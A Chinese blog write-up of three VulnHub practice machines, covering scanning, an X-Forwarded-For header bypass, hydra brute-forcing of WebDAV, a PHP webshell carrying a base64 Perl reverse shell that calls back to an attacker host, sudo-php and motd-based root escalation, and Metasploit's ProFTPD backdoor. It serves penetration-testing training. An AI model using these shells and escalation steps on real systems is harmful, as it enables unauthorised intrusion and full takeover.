【内网渗透】vulnhub三个基础靶场wp

目录

  • vulnhub三个基础靶场wp
  • 1.Me-and-My-Girlfriend-1
    • 1.扫描主机扫描端口
    • 2.访问80端口查看信息
    • 3.xff
    • 4.得到:alice:4lic3登陆靶机
    • 5.接下来继续做信息收集
  • 2.narak
    • 1.扫描主机扫描端口
    • 2.访问80端口查看信息
    • 3.使用dirb扫描目录
    • 4.尝试爆破webdav
    • 5.用cadaver连接之后上传webshell
    • 6.信息收集
    • 7.modt提权
  • 3.basic_pentesting_1
    • 1.扫描主机扫描端口
    • 2.msf探测漏洞
      • 1.开启msfconsole
      • 2.寻找ftp的ProFTPD 1.3.3c的漏洞并利用

vulnhub三个基础靶场wp

前置知识:

linux权限详细解释:

https://blog.csdn.net/u013197629/article/details/73608613

linux目录结构详细解释:

http://c.biancheng.net/view/2833.html

linux find命令详细解释:

http://c.biancheng.net/view/779.html

#!/bin/bash的含义:

https://blog.csdn.net/iot_flower/article/details/69055590

bash shell 文件语法解读与总结:

https://blog.csdn.net/u012617944/article/details/73693028

什么是shell脚本:

https://blog.csdn.net/weixin_42432281/article/details/88392219

Linux——vi命令详解

https://blog.csdn.net/cyl101816/article/details/82026678

1.Me-and-My-Girlfriend-1

基础信息:

背景描述:有一对恋人,即Alice和Bob,这对夫妻本来很浪漫,但是自从Alice在一家私人公司“ Ceban Corp”工作以来,爱丽丝对鲍勃的态度发生了一些变化是“隐藏的”,而鲍勃(Bob)寻求您的帮助,以获取爱丽丝(Alice)隐藏的内容并获得对该公司的完全访问权限!

1.扫描主机扫描端口

扫描主机扫描端口,最初始的信息收集

ifconfig 

查看自己主机的ip地址,发现是192.168.245.133

【内网渗透】vulnhub三个基础靶场wp_第1张图片

nmap 192.168.245.0/24  

扫描这个ip段的所有主机

【内网渗透】vulnhub三个基础靶场wp_第2张图片

得到主机地址为192.168.245.134的是我们的靶机

并且开放了22端口和80端口

2.访问80端口查看信息

【内网渗透】vulnhub三个基础靶场wp_第3张图片

3.xff

只能本地访问,那就尝试xff绕过:

如果xff不行,可以抓包修改:

X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1

【内网渗透】vulnhub三个基础靶场wp_第4张图片

得到一个登录注册页面:

【内网渗透】vulnhub三个基础靶场wp_第5张图片

尝试登陆,发现profile页面url有id字段,这也太爽了,sql注入?直接访问?

【内网渗透】vulnhub三个基础靶场wp_第6张图片

id从1试到12,到5的时候发现,用户名是alice,可能这就是我们要的密码

4.得到:alice:4lic3登陆靶机

那直接ssh连接虚拟机看能否登陆

【内网渗透】vulnhub三个基础靶场wp_第7张图片

连接成功。

【内网渗透】vulnhub三个基础靶场wp_第8张图片

ll命令,可以默认列出当前目录内文件的详细属性信息还有权限

直接获得第一个flag和秘密。

【内网渗透】vulnhub三个基础靶场wp_第9张图片

5.接下来继续做信息收集

一开始尝试suid提权,但是没有可用的文件:

SUID目的就是让本来没有权限访问这个文件的用户可以访问这些资源,我们用suid提权就是相当于骑马,可以用上这种权限。有一些文件有suid权限,我们就可以用这些文件来干坏事,自己没有root权限也可以执行root权限。

find / -user root -perm -4000 -print 2>/dev/null

find命令去查找用户

【内网渗透】vulnhub三个基础靶场wp_第10张图片

namp、vim、find、bash、more、less、nano、cp都没有

接下来继续做信息收集

sudo -l 显示当前用户的权限

为什么要显示当前用户权限?因为提权是一个漫长的过程,一步一步提升更高的权限,你得知道目前的权限有什么。所以基本上每次提权都要确认自己现在是什么权限,执行一个命令又不会费你多少时间,就是不断信息收集。比如经常输入ls /home 查看当前主机有什么用户,是什么权限

【内网渗透】vulnhub三个基础靶场wp_第11张图片

发现php是不用密码直接可以root权限的

可以用root权限执行php

用php回调bash提权:(还是不太懂根本原理)

sudo php -r 'system("/bin/bash");'

找flag:

find / -name 'flag*.*'

2.narak

1.扫描主机扫描端口

扫描主机扫描端口,最初始的信息收集

ifconfig 

192.168.54.128

nmap 192.168.54.0/24  

扫描这个ip段的所有主机

得到主机地址为192.168.54.133的是我们的靶机

【内网渗透】vulnhub三个基础靶场wp_第12张图片

并且开放了22端口和80端口

2.访问80端口查看信息

【内网渗透】vulnhub三个基础靶场wp_第13张图片

3.使用dirb扫描目录

dirb http://192.168.54.133 

【内网渗透】vulnhub三个基础靶场wp_第14张图片

4.尝试爆破webdav

发现webdav,webdav也是一种应用

想要打开,发现需要账号和密码。尝试从web页面获得关键字之后再爆破:

cewl 通过爬行网站关键信息创建一个密码字典

cewl http://192.168.54.133  -w 1.txt 

再用hydra一把嗦:

hydra 爆破神器,自动化爆破工具,暴力破解弱密码

hydra -L 1.txt -P 1.txt 192.168.54.133 http-get /webdav

【内网渗透】vulnhub三个基础靶场wp_第15张图片

爆破得到用户名和密码为 yamdoot:Swarg

5.用cadaver连接之后上传webshell

webshell:记得正确配置yourip和yourport,是kali 的监听地址

'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

先启用监听4444端口:

nc -lvvp 4444

连接webdav且上传webshell:

cadaver http://192.168.54.133/webdav    //连接

输入用户名和密码yamdoot:Swarg

put shell.php   //上传

上传之后,访问webshell页面,可以看到已经监听到信息:

【内网渗透】vulnhub三个基础靶场wp_第16张图片

这样就算是反弹了一个shell到kali的监听端口

在这里看一下权限:whoami

【内网渗透】vulnhub三个基础靶场wp_第17张图片

www-data权限已经拿到。而且我们现在的用户是yamdoot

交互式:

python3 -c 'import pty;pty.spawn("/bin/bash")' 

6.信息收集

接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
 
#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写  如果发现了符合条件的用 ls -l命令显示  错误信息从定向到null

【内网渗透】vulnhub三个基础靶场wp_第18张图片

在/mnt文件夹里面有一个hell.sh文件,里面放着一串brianfuck编码,这个编码可能是某个密码

image-20220915160811375

解码之后得到:chitragupt

根据查看/home发现的用户,挨个尝试下。

su inferno

当尝试切换到interno用户的时候,使用揭秘得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-data权限到普通用户权限的权限提升。

这个时候登录其实也是ssh连接登录

【内网渗透】vulnhub三个基础靶场wp_第19张图片

7.modt提权

下一步就是要提升自己的权限到root了。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

【内网渗透】vulnhub三个基础靶场wp_第20张图片

这里使用modt提权

motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。

vi /etc/update-motd.d/00-header    #编辑这个文件

echo 'root:123' | chpasswd     #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123
记住vim修改的方法,得先按i开始编辑,然后输入:wq保存!!!!!

从插入模式切换为命令行模式按「ESC」键。

删除文字「x」:每按一次,删除光标所在位置的"后面"一个字符。

按「G」:移动到文章的最后。

「h」、「j」、「k」、「l」,分别控制光标左、下、上、右移一格。

然后保存修改后,退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令。

接着只需要su到root用户即可提权成功。

su root

【内网渗透】vulnhub三个基础靶场wp_第21张图片

3.basic_pentesting_1

1.扫描主机扫描端口

扫描主机扫描端口,最初始的信息收集

这里用的是Netdiscover,二层发现工具,拥有主动和被动发现两种方式

netdiscover -i eth0 -r 192.168.54.0/24

很快出结果:

【内网渗透】vulnhub三个基础靶场wp_第22张图片

扫描端口:

nmap -A 192.168.54.131

或者:

nmap -sS 192.168.54.131 -p 1-1000

【内网渗透】vulnhub三个基础靶场wp_第23张图片

再进一步的信息:

nmap -sC -sV -p 80,3306 192.168.54.131 -o 192.168.54.131.txt

【内网渗透】vulnhub三个基础靶场wp_第24张图片

2.msf探测漏洞

1.开启msfconsole

msfconsole

2.寻找ftp的ProFTPD 1.3.3c的漏洞并利用

search proftpd 1.3.3

		2-->proftpd_133c_vackdoor

use 2

show options

set RHOSTS 192.168.245.137

set payload cmd/unix/reverse

show options

set LHOST 192.168.245.137

run 

查询漏洞:

search proftpd 1.3.3

【内网渗透】vulnhub三个基础靶场wp_第25张图片

选择我们要利用的漏洞,第二个,版本为133c的:

use 2

打开我们要设置的参数列表:

show options

required就是告诉是否要手动设置参数,yes就是要,no就是不用,这里要设置的只有rhosts,就是目标机器的ip地址,rport就是目标机器的端口,这里已经帮我们设置好了为21,所以现在只需设置rhosts就可以了

【内网渗透】vulnhub三个基础靶场wp_第26张图片

通过set命令,设置目标ip地址为192.168.54.131:

set RHOSTS 192.168.54.131

下一步,设置payload:

先看有什么payload可以使用:

show payloads

【内网渗透】vulnhub三个基础靶场wp_第27张图片

这里使用第三个payload:反向连接的payload

set payload cmd/unix/reverse

接下来查看payload的option,要设置什么东西:

show options

这里显示,还需要我们设置payload使用的机器ip地址LHOST,也就是我们kali 的IP地址

【内网渗透】vulnhub三个基础靶场wp_第28张图片

设置LHOST:

set LHOST 192.168.54.128

直接开干!

run 

【内网渗透】vulnhub三个基础靶场wp_第29张图片

上图就是最后的结果了,此时我们已经getshell,并且是root权限:

sudo -l

【内网渗透】vulnhub三个基础靶场wp_第30张图片

进入交互模式:

python3 -c 'import pty;pty.spawn("/bin/bash")' 

此时靶机已经被拿下

你可能感兴趣的:(内网渗透,linux,kali,msf,内网渗透,vulnhub)